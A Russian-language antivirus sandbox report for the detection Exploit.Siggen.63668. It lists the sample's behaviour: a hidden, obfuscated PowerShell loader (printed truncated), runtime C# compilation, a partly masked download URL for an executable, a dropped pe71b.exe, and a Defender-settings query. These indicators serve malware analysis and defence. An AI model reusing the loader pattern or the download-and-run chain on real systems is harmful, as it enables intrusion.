Exploit.Siggen.63668

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function t66fa {param($h9b42b5)$r5fa4='fbbeb6';$b6975='';for ($i=0; $i -lt $h9b42b5.length;$i+=2){$dc47c=[convert]::ToByte($h9b42b5.Substring($i,2),16);$b6975+=[char]($dc4...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\oqvyd_au.0.cs
%TEMP%\miavtznh.dll
%TEMP%\res9647.tmp
%TEMP%\csc9627.tmp
%TEMP%\miavtznh.out
%TEMP%\miavtznh.cmdline
%TEMP%\miavtznh.0.cs
%TEMP%\-r9i9mm_.dll
%TEMP%\res8698.tmp
%TEMP%\csc8687.tmp
%TEMP%\-r9i9mm_.out
%TEMP%\-r9i9mm_.cmdline
%TEMP%\-r9i9mm_.0.cs
%TEMP%\bspc42ib.dll
%TEMP%\res7041.tmp
%TEMP%\csc7021.tmp
%TEMP%\bspc42ib.out
%TEMP%\bspc42ib.cmdline
%TEMP%\bspc42ib.0.cs
%TEMP%\oqvyd_au.dll
%TEMP%\res613d.tmp
%TEMP%\28gr6blf.dll
%TEMP%\res60ff.tmp
%TEMP%\csc611d.tmp
%TEMP%\csc60df.tmp
%TEMP%\28gr6blf.out
%TEMP%\28gr6blf.cmdline
%TEMP%\28gr6blf.0.cs
%TEMP%\oqvyd_au.out
%TEMP%\oqvyd_au.cmdline
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{74974127-f90f-49cf-83e5-81dd379f89ad}.tmp
%APPDATA%\pe71b.exe

Удаляет следующие файлы

%TEMP%\res60ff.tmp
%TEMP%\bspc42ib.dll
%TEMP%\bspc42ib.0.cs
%TEMP%\res8698.tmp
%TEMP%\csc8687.tmp
%TEMP%\-r9i9mm_.pdb
%TEMP%\-r9i9mm_.dll
%TEMP%\-r9i9mm_.out
%TEMP%\miavtznh.0.cs
%TEMP%\-r9i9mm_.0.cs
%TEMP%\res9647.tmp
%TEMP%\csc9627.tmp
%TEMP%\miavtznh.dll
%TEMP%\miavtznh.cmdline
%TEMP%\miavtznh.pdb
%TEMP%\bspc42ib.out
%TEMP%\-r9i9mm_.cmdline
%TEMP%\bspc42ib.pdb
%TEMP%\28gr6blf.0.cs
%TEMP%\csc60df.tmp
%TEMP%\res613d.tmp
%TEMP%\csc611d.tmp
%TEMP%\28gr6blf.dll
%TEMP%\28gr6blf.pdb
%TEMP%\28gr6blf.out
%TEMP%\28gr6blf.cmdline
%TEMP%\csc7021.tmp
%TEMP%\oqvyd_au.dll
%TEMP%\oqvyd_au.out
%TEMP%\oqvyd_au.cmdline
%TEMP%\oqvyd_au.0.cs
%TEMP%\oqvyd_au.pdb
%TEMP%\res7041.tmp
%TEMP%\bspc42ib.cmdline
%TEMP%\miavtznh.out

Сетевая активность

TCP

Запросы HTTP GET

http://pr#######i-7580.boyfriend.jp/0krqUHGKdYabcgk.exe

UDP

DNS ASK pr#######i-7580.boyfriend.jp

Другое

Создает и запускает на исполнение

'%APPDATA%\pe71b.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function t66fa {param($h9b42b5)$r5fa4='fbbeb6';$b6975='';for ($i=0; $i -lt $h9b42b5.length;$i+=2){$dc47c=[convert]::ToByte($h9b42b5.Substring($i,2),16);$b6975+=[char]($dc4...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\oqvyd_au.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\28gr6blf.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES60FF.tmp" "%TEMP%\CSC60DF.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES613D.tmp" "%TEMP%\CSC611D.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bspc42ib.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7041.tmp" "%TEMP%\CSC7021.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-r9i9mm_.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8698.tmp" "%TEMP%\CSC8687.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\miavtznh.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9647.tmp" "%TEMP%\CSC9627.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\oqvyd_au.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\28gr6blf.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES60FF.tmp" "%TEMP%\CSC60DF.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES613D.tmp" "%TEMP%\CSC611D.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bspc42ib.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7041.tmp" "%TEMP%\CSC7021.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-r9i9mm_.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8698.tmp" "%TEMP%\CSC8687.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\miavtznh.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9647.tmp" "%TEMP%\CSC9627.tmp"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Get-MpPreference -verbose